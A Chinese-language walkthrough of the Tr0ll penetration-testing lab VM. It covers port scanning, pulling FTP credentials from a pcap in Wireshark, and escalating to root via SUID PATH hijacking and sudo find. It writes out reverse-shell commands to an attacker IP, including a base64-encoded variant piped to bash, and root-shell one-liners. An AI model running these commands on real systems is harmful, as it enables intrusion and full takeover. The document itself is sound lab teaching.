1. 项目概述:一次从流量到权限的完整渗透之旅
最近在复现和整理一些经典的渗透测试靶机,Tr0ll这个老靶机又一次进入了我的视野。它之所以经典,不是因为其漏洞有多么新颖复杂,恰恰相反,它像一本精心编排的入门教科书,将信息收集、流量分析、Web漏洞利用、权限提升等多个核心环节串联起来,形成了一个逻辑闭环。很多新手在拿到一个靶机时,往往不知道从哪里下手,或者只专注于某个点而忽略了全局。Tr0ll则强制你走完一个相对标准的流程:从网络中发现它,到分析其开放的端口和服务,再到从看似无用的流量中挖掘关键信息,最后利用这些信息完成权限的飞跃。这个过程,正是从“流量分析”到“权限提升”的完美演绎。无论你是刚接触渗透测试的新手,想巩固基础流程,还是有一定经验的老手,想重温一下那种“柳暗花明”的解题乐趣,Tr0ll都是一个绝佳的选择。接下来,我将结合实战,详细拆解每一步的操作、背后的思考以及那些容易踩坑的细节。
2. 环境准备与初步信息收集
渗透测试的第一步永远是信息收集,这就像侦探破案前的现场勘查,目标越清晰,后续的行动就越高效。对于Tr0ll这样的独立靶机,我们通常在一个隔离的虚拟网络(如VMware或VirtualBox的NAT/仅主机模式网络)中运行它,然后使用Kali Linux作为攻击机。
2.1 靶机网络发现与端口扫描
首先,我们需要找到靶机的IP地址。最直接的方法是使用netdiscover进行ARP扫描,或者根据虚拟网络的网段用nmap进行Ping扫描。
# 假设我们的网段是192.168.1.0/24 sudo netdiscover -r 192.168.1.0/24或者
sudo nmap -sn 192.168.1.0/24扫描后,通常会找到一个新出现的、主机名可能包含“Tr0ll”或类似字样的IP地址,例如192.168.1.105。找到目标IP后,下一步就是进行全面的端口扫描,了解靶机对外开放了哪些服务入口。这里我习惯使用nmap的-sV和-sC参数组合,前者进行服务版本探测,后者运行默认的NSE脚本进行一些基础的信息收集和漏洞检测。
sudo nmap -sV -sC -p- 192.168.1.105 -oN nmap_initial.txt注意:参数
-p-表示扫描所有65535个端口。对于未知靶机,全端口扫描是必须的,因为关键服务可能隐藏在非标准端口上。Tr0ll靶机就有一个经典设定。
扫描结果通常会显示几个开放的端口。以常见的Tr0ll版本为例,你可能会看到:
- 端口21/tcp: FTP服务。尝试匿名登录(anonymous)是标准操作,但Tr0ll的FTP往往有“惊喜”。
- 端口22/tcp: SSH服务。这是Linux系统远程管理的标准端口,也是后期权限维持或横向移动的潜在通道。
- 端口80/tcp: HTTP服务。Web应用是漏洞的高发区,也是我们重点关照的对象。
- 还有一个高位端口,例如1337/tcp。这个端口很可能运行着一个自定义的服务,需要进一步交互分析。
这个初步的端口蓝图,就是我们发起进攻的“战场地图”。
2.2 服务枚举与初步交互
拿到端口列表后,我们需要对每个开放的服务进行更深入的探查。
FTP服务探查:
ftp 192.168.1.105输入用户名anonymous,密码可以为空或任意邮箱。登录后,使用ls -la查看文件。在Tr0ll中,你可能会发现一个有趣的目录或文件,比如一个名为lol.pcap的文件。这个文件就是本次渗透的“题眼”——一个网络流量包文件。毫不犹豫地把它下载下来(get lol.pcap),它将是我们流量分析的对象。
Web服务(80端口)探查: 使用浏览器访问http://192.168.1.105,或者用命令行工具curl、nikto、dirb进行扫描。
dirb http://192.168.1.105 /usr/share/wordlists/dirb/common.txt或者使用更快的gobuster:
gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt对Web目录的扫描是基础中的基础,有时能直接发现后台登录页面、配置文件、备份文件等。同时,手动浏览网页,查看源代码,寻找注释、隐藏表单、JS文件中的敏感信息。
高位端口(如1337)探查: 使用netcat(nc)连接这个端口,看看它是什么服务。
nc -nv 192.168.1.105 1337连接后,服务可能会输出一些文本信息。在Tr0ll中,这个服务通常会返回一段看似无意义或嘲讽的文本。这里需要一点耐心和观察力,留意任何可能的模式、编码或隐藏信息。有时,反复连接或发送特定字符串会触发不同的响应。
3. 核心突破:流量分析挖掘关键凭证
信息收集阶段,我们从FTP服务拿到了一个关键的lol.pcap文件。这个文件并非偶然放置,它模拟了真实渗透测试中可能通过嗅探、中间人攻击或服务器日志获取流量数据包的情景。分析这个pcap文件,是解开Tr0ll靶机第一道关卡的核心。
3.1 Wireshark基础分析与协议筛选
将下载的lol.pcap文件在Kali Linux上用Wireshark打开。面对一个可能包含大量数据包的流量文件,直接逐条查看效率极低。我们需要运用筛选器(Filter)来聚焦关键信息。
首先,观察协议统计(Statistics -> Protocol Hierarchy)。你会看到主要的协议可能是TCP、HTTP等。在渗透测试的上下文中,我们最关心的是包含认证信息的协议,例如:
- FTP:FTP协议在传统模式下,用户名和密码是明文传输的。
- HTTP:特别是使用基础认证(Basic Authentication)或通过POST表单提交登录信息的流量。
- Telnet:所有通信均为明文。
- SMTP、POP3、IMAP:也可能包含明文凭证。
由于我们从FTP服务获取的这个文件,首先尝试筛选FTP协议。 在Wireshark顶部的筛选栏输入:ftp。如果流量中有FTP通信,就会被过滤出来。
仔细查看过滤出的FTP数据包,重点关注USER和PASS命令。在Wireshark的数据包详情面板中,展开File Transfer Protocol (FTP)部分,你可以直接看到客户端发送的命令。例如:
Request: USER troll Request: PASS secret这样,我们就从流量中直接提取出了一组FTP凭据:troll:secret。这组凭据很可能不仅仅用于FTP,在渗透测试中,人们常在不同服务间复用密码,因此它也是尝试登录SSH或Web后台的重要候选密码。
实操心得:Wireshark的“追踪流”(Follow -> TCP Stream/HTTP Stream)功能极其好用。当你找到一个疑似包含登录请求的HTTP数据包时,右键选择“追踪 -> HTTP流”,Wireshark会自动重组该HTTP会话的所有请求和响应,并以明文形式展示,让你能清晰地看到提交的参数和服务器返回的结果,这对于分析Web登录、文件上传等交互过程至关重要。
3.2 深度挖掘与信息关联
如果简单的FTP筛选没有结果,我们可能需要扩大搜索范围。使用更通用的筛选条件:
http.request.method == POST:筛选所有HTTP POST请求,登录表单提交通常使用POST。tcp contains “login”或tcp contains “password”:在TCP载荷中搜索关键词。注意,这种方法可能产生大量无关结果,且对大小写敏感。- 查看ARP或ICMP协议?通常不会。但在某些CTF题目中,信息可能被编码后隐藏在ICMP的
ping数据包载荷中,或者通过DNS隧道外传数据。这就需要结合题目提示进行更非常规的分析。
在Tr0ll的典型设定中,通过ftp筛选找到凭证是最直接的路径。拿到troll:secret后,立即进行凭证复用测试:
- SSH登录尝试:
ssh troll@192.168.1.105,输入密码secret。 - Web后台尝试:在发现的Web目录或可能的登录页面(如
/admin,/wp-login.php)尝试使用这组凭据。
很多时候,SSH登录会成功。这标志着我们获得了靶机的一个初始立足点(Initial Foothold),从一个外部攻击者变成了一个拥有低权限(通常是普通用户troll)的系统内部用户。权限提升的舞台就此搭建完毕。
4. 权限提升:从普通用户到Root
获得一个低权限shell只是开始,我们的目标是获取系统的最高控制权——root权限。Linux系统的权限提升方法繁多,在Tr0ll这类教学靶机中,通常会设置一个经典的、具有代表性的提权漏洞。
4.1 系统内部信息收集
登录SSH后,第一件事不是盲目地运行各种提权脚本,而是有步骤地收集系统内部信息,寻找可能的弱点。以下是一些关键命令:
# 1. 查看当前用户权限 id whoami sudo -l # 非常重要!查看当前用户可以以root身份执行哪些命令 # 2. 查看操作系统和内核信息 uname -a cat /etc/issue cat /etc/*-release # 3. 查看进程信息,寻找以root运行的非系统关键进程 ps aux | grep root ps auxf # 4. 查看计划任务(Cron Jobs),看是否有用户自定义的、以root权限运行的任务 cat /etc/crontab ls -la /etc/cron.*/ crontab -l # 5. 查看具有SUID/SGID特殊权限的可执行文件 find / -type f -perm -u=s 2>/dev/null find / -type f -perm -g=s 2>/dev/null # 6. 查看世界可写(World-writable)的文件或目录 find / -type f -perm -o=w ! -path “/proc/*” ! -path “/sys/*” 2>/dev/null find / -type d -perm -o=w ! -path “/proc/*” ! -path “/sys/*” 2>/dev/null # 7. 查看网络连接和监听端口 netstat -tulpn ss -tulpn # 8. 查看用户历史命令(.bash_history)和可能存在的敏感配置文件 cat ~/.bash_history ls -la ~/4.2 利用SUID权限不当进行提权
在Tr0ll靶机中,一个非常常见的提权向量就是SUID权限滥用。SUID(Set User ID)是一种特殊的文件权限,它允许用户在执行某个二进制文件时,以该文件所有者的身份运行。例如,如果/bin/bash被设置了SUID位且所有者为root,那么普通用户执行/bin/bash时,就会获得一个root shell。
运行find / -type f -perm -u=s 2>/dev/null后,仔细分析输出列表。你需要寻找那些非系统常见的、或者本不应拥有SUID权限的可执行文件。在Tr0ll中,你可能会发现一个路径奇怪的可执行文件,例如/home/troll/.../something或/bin/某个不常见的名字。
关键思路:如果一个SUID文件的所有者是root,并且这个文件的行为可以被我们以某种方式影响(例如,它执行了某个我们可以控制的命令或读取了我们可以写入的文件),那么我们就可以利用它来提升权限。
一个经典的例子是,如果发现一个SUID程序,它内部调用了system(“ls /tmp”)这样的命令。那么,我们可以通过操纵环境变量PATH来劫持ls命令。
# 1. 在/tmp目录下创建一个名为`ls`的恶意脚本 echo “/bin/bash” > /tmp/ls # 或者更直接地生成一个反弹shell echo “/bin/bash -i >& /dev/tcp/192.168.1.100/4444 0>&1” > /tmp/ls chmod +x /tmp/ls # 2. 将/tmp目录添加到PATH环境变量的最前面 export PATH=/tmp:$PATH # 3. 运行那个SUID程序。当它调用`system(“ls”)`时,系统会在PATH中查找,首先找到我们恶意的`/tmp/ls`并执行,由于SUID程序以root身份运行,所以我们恶意的`ls`也会以root身份执行。 ./那个SUID程序如果成功,你就会获得一个root shell。
在Tr0ll的具体环境中,需要根据找到的SUID文件的具体行为来设计利用方式。可能需要分析字符串(strings命令)、逆向工程,或者简单地尝试执行它并观察其输入输出。
4.3 其他提权路径的检查
除了SUID,也要检查sudo -l的结果。如果输出显示当前用户troll可以以root身份无需密码运行某个特定命令,例如/bin/bash、/bin/sh、vim、find、nmap(旧版本)、perl、python等,那么提权就非常简单了。 例如:
User troll may run the following commands on Tr0ll: (root) NOPASSWD: /usr/bin/find那么,可以利用find命令的-exec参数来执行命令:
sudo find / -exec /bin/bash \; -quit或者,如果可以无密码运行/bin/bash,直接sudo /bin/bash即可。
5. 常见问题与排查技巧实录
在实际操作Tr0ll或其他靶机时,你可能会遇到一些意料之外的情况。下面记录了一些常见问题及其解决思路。
5.1 流量文件中找不到凭证
问题:用ftp筛选器在Wireshark中什么也没找到。排查:
- 确认协议:使用“Statistics -> Protocol Hierarchy”确认FTP协议是否存在。可能根本不是FTP流量。
- 扩大筛选:尝试
http筛选,查看所有HTTP流量,特别是POST请求。使用“追踪TCP流”功能仔细查看每个会话。 - 搜索关键词:在Wireshark中使用“Edit -> Find Packet”功能,在“Packet Bytes”中搜索字符串“user”、“pass”、“login”、“password”等。
- 检查文件完整性:确认从FTP下载的pcap文件是否完整。可以尝试在命令行用
tcpdump -r lol.pcap快速查看,或者用file命令检查文件类型。 - 考虑编码或加密:信息可能经过Base64、Hex、ROT13等简单编码后传输。在Wireshark的“追踪流”窗口看到乱码或奇怪字符串时,可以复制出来用
echo ‘字符串’ | base64 -d或echo ‘字符串’ | xxd -r -p等命令尝试解码。
5.2 获得的凭证无法登录任何服务
问题:找到了user:pass,但SSH和Web登录都失败。排查:
- 用户名/密码错误:再次核对Wireshark中显示的内容,注意是否有空格、换行符。尝试手动输入,避免复制粘贴带来的不可见字符。
- 服务未运行:确认SSH服务(22端口)是否真的在运行。可能靶机上的SSH服务已停止或只在特定IP开放。
- 登录限制:检查SSH配置文件
/etc/ssh/sshd_config(如果你能通过其他方式查看),看是否限制了用户登录(DenyUsers,AllowUsers)。但作为攻击者,我们通常无法直接查看。 - 凭证用途特定:这组凭证可能只用于FTP,或者用于靶机内另一个我们还没发现的服务(比如MySQL数据库,端口3306)。继续用
nmap进行全端口扫描,确保没有遗漏任何服务。 - 密码复用变形:用户可能在不同服务使用相似而非相同的密码。尝试密码变形,如
secret123,Secret,Secret!等。
5.3 SUID提权利用失败
问题:找到了一个可疑的SUID文件,但按照常见方法(如PATH劫持)无法提权。排查:
- 分析程序行为:使用
strings /path/to/suid_file查看文件中的可打印字符串,寻找它具体执行了什么命令(system,exec,popen等调用)。 - 绝对路径调用:如果程序中使用的是绝对路径(如
/bin/ls),那么PATH劫持是无效的。需要寻找其他利用点,比如它是否加载了我们可以控制的配置文件、是否向我们可以写入的目录写文件等。 - 程序逻辑限制:程序内部可能对执行条件做了限制。尝试用
strace来跟踪系统调用,观察程序运行时的行为:strace /path/to/suid_file 2>&1。这能帮你看到它打开了哪些文件,尝试执行什么。 - 尝试其他SUID文件:列表中可能不止一个可利用的SUID文件。逐个分析,特别是那些所有者是root且不在标准系统目录(
/bin,/sbin,/usr/bin等)下的文件。 - 回归基础信息收集:再次仔细检查
sudo -l、计划任务、世界可写文件等,可能提权路径不止SUID这一条。
5.4 反弹Shell连接不稳定或无法建立
问题:在利用漏洞获得代码执行能力后,尝试用反向Shell连接攻击机失败。排查:
- Netcat监听参数:确保攻击机上使用的Netcat版本支持
-n(禁用DNS解析)、-v(详细输出)、-l(监听)和-p(指定端口)参数。常用命令:nc -nvlp 4444。 - 防火墙/出站限制:靶机可能限制了出站连接。尝试使用更常见的端口(如80, 443, 53)。或者,尝试用其他方式建立Shell,如用Python、PHP、Perl等语言编写一个绑定Shell(bind shell)到靶机的某个端口,然后从攻击机去连接。
- Shell路径问题:在构造反弹Shell命令时,确保使用了目标系统上存在的Shell绝对路径。
/bin/bash和/bin/sh是最常见的。可以用which bash或which sh在获得初始执行能力时先确认一下。 - 命令编码与特殊字符:在Web漏洞利用中,需要将反弹Shell命令进行URL编码。使用
bash -i >& /dev/tcp/...这种形式时,>&等符号在HTTP参数中可能会被破坏。可以考虑使用Base64编码:# 攻击机先编码 echo “/bin/bash -i >& /dev/tcp/192.168.1.100/4444 0>&1” | base64 # 得到编码字符串,如:L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMS4xMDAvNDQ0NCAwPiYx # 在靶机执行 echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMS4xMDAvNDQ0NCAwPiYx | base64 -d | bash - 监听端Netcat版本:某些旧版Netcat在处理连接时,在Shell退出后也会立即退出。可以尝试使用
nc -nvlp 4444 -e /bin/bash(如果支持-e参数),或者使用socat、msfvenom生成payload等更稳定的方式。